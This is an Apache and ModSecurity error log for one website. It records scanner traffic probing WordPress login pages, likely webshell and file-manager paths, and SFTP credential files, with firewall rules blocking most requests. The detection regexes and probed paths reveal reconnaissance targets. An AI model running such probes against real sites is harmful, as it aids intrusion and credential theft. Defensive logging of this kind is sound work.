[Sat Dec 20 21:51:59.661784 2025] [:error] [pid 14286:tid 14311] [client 85.203.34.30:61915] [client 85.203.34.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "aUap_57rbXIrw6rGSdabhwAAAVU"]
[Sat Dec 20 21:52:00.261268 2025] [proxy_fcgi:error] [pid 33793:tid 33807] [client 85.203.34.43:39315] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:52:00.952612 2025] [proxy_fcgi:error] [pid 33793:tid 33795] [client 85.203.34.43:39315] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:52:01.253642 2025] [proxy_fcgi:error] [pid 33793:tid 33798] [client 85.203.34.43:39315] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:52:01.560915 2025] [proxy_fcgi:error] [pid 33793:tid 33815] [client 85.203.34.43:39315] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:52:01.868984 2025] [proxy_fcgi:error] [pid 33793:tid 33807] [client 85.203.34.43:39315] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:52:02.204983 2025] [proxy_fcgi:error] [pid 33793:tid 33804] [client 85.203.34.43:39315] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:52:02.492839 2025] [proxy_fcgi:error] [pid 33793:tid 33814] [client 85.203.34.43:39315] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:52:02.815610 2025] [proxy_fcgi:error] [pid 33793:tid 33800] [client 85.203.34.43:39315] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:52:03.664657 2025] [proxy_fcgi:error] [pid 33793:tid 33806] [client 85.203.34.43:39315] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:52:04.311627 2025] [proxy_fcgi:error] [pid 33793:tid 33803] [client 85.203.34.43:39315] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:52:05.530599 2025] [proxy_fcgi:error] [pid 33793:tid 33816] [client 85.203.34.43:39315] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:52:05.807306 2025] [:error] [pid 33793:tid 33805] [client 85.203.34.43:39315] [client 85.203.34.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.43, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aUaqBVSicyB0BFmbRMznlAAAAso"]
[Sat Dec 20 21:52:06.124985 2025] [proxy_fcgi:error] [pid 33793:tid 33798] [client 85.203.34.43:39315] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:52:07.224268 2025] [:error] [pid 33793:tid 33802] [client 85.203.34.43:39315] [client 85.203.34.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.tmb/wp-login.php"] [unique_id "aUaqB1SicyB0BFmbRMznrgAAAsc"]
[Sat Dec 20 21:52:07.780158 2025] [:error] [pid 33749:tid 33755] [client 85.203.34.3:22659] [client 85.203.34.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.3, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/.tmb/wp-login.php"] [unique_id "aUaqB9oInXJnb96wei-FzAAAAoQ"]
[Sat Dec 20 21:52:16.155629 2025] [proxy_fcgi:error] [pid 33749:tid 33756] [client 85.203.34.3:22659] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:52:16.468355 2025] [:error] [pid 33749:tid 33761] [client 85.203.34.3:22659] [client 85.203.34.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/plugins.php"] [unique_id "aUaqENoInXJnb96wei-GxAAAAoo"]
[Sat Dec 20 21:52:17.062199 2025] [:error] [pid 33570:tid 33585] [client 85.203.34.44:44461] [client 85.203.34.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/wp-login.php"] [unique_id "aUaqEYTNveA-c6YcSrIjfwAAAck"]
[Sat Dec 20 21:52:17.627512 2025] [:error] [pid 39577:tid 39585] [client 85.203.34.8:54795] [client 85.203.34.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/install.php"] [unique_id "aUaqEbviRnt1rJiSOfx_rQAAAMY"]
[Sat Dec 20 21:52:18.227618 2025] [proxy_fcgi:error] [pid 62124:tid 62137] [client 85.203.34.2:53471] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:52:20.198533 2025] [:error] [pid 62124:tid 62150] [client 85.203.34.2:53471] [client 85.203.34.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/st.php"] [unique_id "aUaqFFs94zPA9ULQOjmVfAAAABg"]
[Sat Dec 20 21:52:20.779681 2025] [proxy_fcgi:error] [pid 33687:tid 33705] [client 85.203.34.47:22781] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:52:21.068599 2025] [proxy_fcgi:error] [pid 33687:tid 33713] [client 85.203.34.47:22781] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:52:22.232459 2025] [:error] [pid 33687:tid 33698] [client 85.203.34.47:22781] [client 85.203.34.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/modules/karakaroa/wp-login.php"] [unique_id "aUaqFjYMR4qK1N4g7vjkUAAAAkg"]
[Sat Dec 20 21:52:37.563381 2025] [autoindex:error] [pid 33570:tid 33583] [client 85.203.34.5:21711] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:52:37.880611 2025] [autoindex:error] [pid 33570:tid 33590] [client 85.203.34.5:21711] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:52:38.189473 2025] [autoindex:error] [pid 33570:tid 33577] [client 85.203.34.5:21711] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:53:03.840856 2025] [:error] [pid 33570:tid 33593] [client 85.203.34.5:21711] [client 85.203.34.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cakil/"] [unique_id "aUaqP4TNveA-c6YcSrIk1gAAAdE"]
[Sat Dec 20 21:53:19.509027 2025] [:error] [pid 33687:tid 33701] [client 85.203.34.29:61851] [client 85.203.34.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/"] [unique_id "aUaqTzYMR4qK1N4g7vjmAgAAAks"]
[Sat Dec 20 21:53:20.682393 2025] [:error] [pid 14247:tid 14267] [client 85.203.34.18:58463] [client 85.203.34.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aUaqUCDv9TtKKdJQn9kr6QAAARI"]
[Sat Dec 20 21:53:40.343001 2025] [:error] [pid 39577:tid 39584] [client 85.203.34.45:64355] [client 85.203.34.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/plugins/directionality/"] [unique_id "aUaqZLviRnt1rJiSOfyCyQAAAMU"]
[Sat Dec 20 22:32:17.386828 2025] [:error] [pid 14286:tid 14293] [client 143.198.220.98:56995] [client 143.198.220.98] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aUazcZ7rbXIrw6rGSda0rgAAAUM"]
[Sat Dec 20 22:32:18.133823 2025] [:error] [pid 14286:tid 14307] [client 143.198.220.98:57164] [client 143.198.220.98] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/prevlaravel/sftp-config.json"] [unique_id "aUazcp7rbXIrw6rGSda0rwAAAVE"]
[Sat Dec 20 22:32:18.394729 2025] [:error] [pid 33793:tid 33807] [client 143.198.220.98:57176] [client 143.198.220.98] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aUazclSicyB0BFmbRMz4RQAAAsw"]
[Sat Dec 20 22:32:18.778056 2025] [:error] [pid 33749:tid 33751] [client 143.198.220.98:57280] [client 143.198.220.98] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/prevlaravel/sftp-config.json"] [unique_id "aUazctoInXJnb96wei-k_gAAAoA"]
[Sat Dec 20 22:32:19.091186 2025] [:error] [pid 33749:tid 33757] [client 143.198.220.98:57331] [client 143.198.220.98] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aUazc9oInXJnb96wei-k_wAAAoY"]
[Sat Dec 20 22:32:19.102166 2025] [:error] [pid 62124:tid 62130] [client 143.198.220.98:57341] [client 143.198.220.98] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/sftp.json"] [unique_id "aUazc1s94zPA9ULQOjmu7QAAAAQ"]
[Sat Dec 20 22:32:19.124051 2025] [:error] [pid 39493:tid 39568] [client 143.198.220.98:57354] [client 143.198.220.98] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aUazc2hjL2VG_FmIHqAlZwAAAJM"]
[Sun Dec 21 01:13:56.553049 2025] [:error] [pid 8641:tid 8703] [client 45.88.186.197:58050] [client 45.88.186.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aUbZVHE703usYSvQGLRXpgAAANU"]
[Sun Dec 21 01:13:56.970510 2025] [:error] [pid 22338:tid 22401] [client 45.88.186.197:58152] [client 45.88.186.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aUbZVHGYQSUt-opKpSIMUgAAAFA"]
[Sun Dec 21 01:13:57.415789 2025] [:error] [pid 8751:tid 8766] [client 45.88.186.197:58282] [client 45.88.186.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aUbZVWvrnuGjNP7vtDQXWAAAAA0"]
[Sun Dec 21 01:13:57.830947 2025] [:error] [pid 8642:tid 8715] [client 45.88.186.197:58454] [client 45.88.186.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aUbZVSJkiik8k41igp0ISQAAAQo"]
[Sun Dec 21 01:13:58.249763 2025] [:error] [pid 8641:tid 8686] [client 45.88.186.197:58617] [client 45.88.186.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aUbZVnE703usYSvQGLRX_AAAAMg"]
[Sun Dec 21 02:47:53.220616 2025] [proxy_fcgi:error] [pid 44515:tid 44530] [client 31.171.130.113:22405] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:47:53.521917 2025] [proxy_fcgi:error] [pid 44515:tid 44525] [client 31.171.130.113:22405] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:47:53.829619 2025] [proxy_fcgi:error] [pid 44515:tid 44535] [client 31.171.130.113:22405] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:47:54.383600 2025] [proxy_fcgi:error] [pid 44515:tid 44533] [client 31.171.130.113:22405] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:47:54.704622 2025] [proxy_fcgi:error] [pid 44515:tid 44524] [client 31.171.130.113:22405] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:47:55.016714 2025] [proxy_fcgi:error] [pid 44515:tid 44535] [client 31.171.130.113:22405] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:47:55.806420 2025] [proxy_fcgi:error] [pid 44515:tid 44518] [client 31.171.130.113:22405] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:47:56.085896 2025] [proxy_fcgi:error] [pid 44515:tid 44526] [client 31.171.130.113:22405] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:47:56.398612 2025] [proxy_fcgi:error] [pid 44515:tid 44523] [client 31.171.130.113:22405] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:47:56.697615 2025] [proxy_fcgi:error] [pid 44515:tid 44521] [client 31.171.130.113:22405] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:47:57.291601 2025] [proxy_fcgi:error] [pid 44515:tid 44535] [client 31.171.130.113:22405] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:47:57.598617 2025] [proxy_fcgi:error] [pid 44515:tid 44519] [client 31.171.130.113:22405] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:47:57.909605 2025] [proxy_fcgi:error] [pid 44515:tid 44534] [client 31.171.130.113:22405] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:47:58.194600 2025] [proxy_fcgi:error] [pid 44515:tid 44532] [client 31.171.130.113:22405] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:47:58.519594 2025] [proxy_fcgi:error] [pid 44515:tid 44542] [client 31.171.130.113:22405] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:47:58.824600 2025] [proxy_fcgi:error] [pid 44515:tid 44520] [client 31.171.130.113:22405] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:47:59.133645 2025] [proxy_fcgi:error] [pid 44515:tid 44518] [client 31.171.130.113:22405] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:47:59.445596 2025] [proxy_fcgi:error] [pid 44515:tid 44535] [client 31.171.130.113:22405] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:47:59.763598 2025] [proxy_fcgi:error] [pid 44515:tid 44533] [client 31.171.130.113:22405] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:04.858281 2025] [:error] [pid 44515:tid 44526] [client 31.171.130.113:22405] [client 31.171.130.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aUbvZJZAdBRP9gwGvJ5j1AAAAYg"]
[Sun Dec 21 02:48:06.424145 2025] [:error] [pid 8642:tid 8725] [client 31.171.130.108:30509] [client 31.171.130.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aUbvZiJkiik8k41igp1DkgAAARQ"]
[Sun Dec 21 02:48:07.955662 2025] [proxy_fcgi:error] [pid 43680:tid 43691] [client 31.171.130.112:24179] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:09.084609 2025] [:error] [pid 43680:tid 43685] [client 31.171.130.112:24179] [client 31.171.130.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aUbvaUDkAAJVjNqC6UXPJQAAAUE"]
[Sun Dec 21 02:48:10.337604 2025] [proxy_fcgi:error] [pid 44515:tid 44519] [client 31.171.130.133:62567] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:10.654610 2025] [proxy_fcgi:error] [pid 44515:tid 44532] [client 31.171.130.133:62567] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:10.947331 2025] [:error] [pid 44515:tid 44540] [client 31.171.130.133:62567] [client 31.171.130.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aUbvapZAdBRP9gwGvJ5kCQAAAZY"]
[Sun Dec 21 02:48:11.878431 2025] [proxy_fcgi:error] [pid 22338:tid 22388] [client 31.171.130.119:37765] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:13.658794 2025] [:error] [pid 22338:tid 22409] [client 31.171.130.119:37765] [client 31.171.130.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aUbvbXGYQSUt-opKpSJT_gAAAFg"]
[Sun Dec 21 02:48:14.575445 2025] [:error] [pid 8751:tid 8775] [client 31.171.130.144:37617] [client 31.171.130.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aUbvbmvrnuGjNP7vtDRuyAAAABY"]
[Sun Dec 21 02:48:16.466974 2025] [:error] [pid 8751:tid 8760] [client 31.171.130.139:44585] [client 31.171.130.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aUbvcGvrnuGjNP7vtDRu3wAAAAc"]
[Sun Dec 21 02:48:17.048485 2025] [:error] [pid 44515:tid 44532] [client 31.171.130.157:39749] [client 31.171.130.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aUbvcZZAdBRP9gwGvJ5kKwAAAY4"]
[Sun Dec 21 02:48:17.625682 2025] [:error] [pid 8641:tid 8685] [client 31.171.130.157:37479] [client 31.171.130.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aUbvcXE703usYSvQGLSTyQAAAMc"]
[Sun Dec 21 02:48:19.221567 2025] [:error] [pid 8751:tid 8770] [client 31.171.130.142:47387] [client 31.171.130.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aUbvc2vrnuGjNP7vtDRu9QAAABE"]
[Sun Dec 21 02:48:20.146588 2025] [:error] [pid 8751:tid 8753] [client 31.171.130.164:64353] [client 31.171.130.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aUbvdGvrnuGjNP7vtDRu_gAAAAA"]
[Sun Dec 21 02:48:20.736664 2025] [proxy_fcgi:error] [pid 8751:tid 8762] [client 31.171.130.114:52791] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:21.394270 2025] [:error] [pid 8751:tid 8766] [client 31.171.130.114:52791] [client 31.171.130.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aUbvdWvrnuGjNP7vtDRvDAAAAA0"]
[Sun Dec 21 02:48:21.987600 2025] [proxy_fcgi:error] [pid 43680:tid 43687] [client 31.171.130.159:47007] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:22.305978 2025] [proxy_fcgi:error] [pid 43680:tid 43698] [client 31.171.130.159:47007] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:22.606416 2025] [:error] [pid 43680:tid 43696] [client 31.171.130.159:47007] [client 31.171.130.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aUbvdkDkAAJVjNqC6UXPpQAAAUw"]
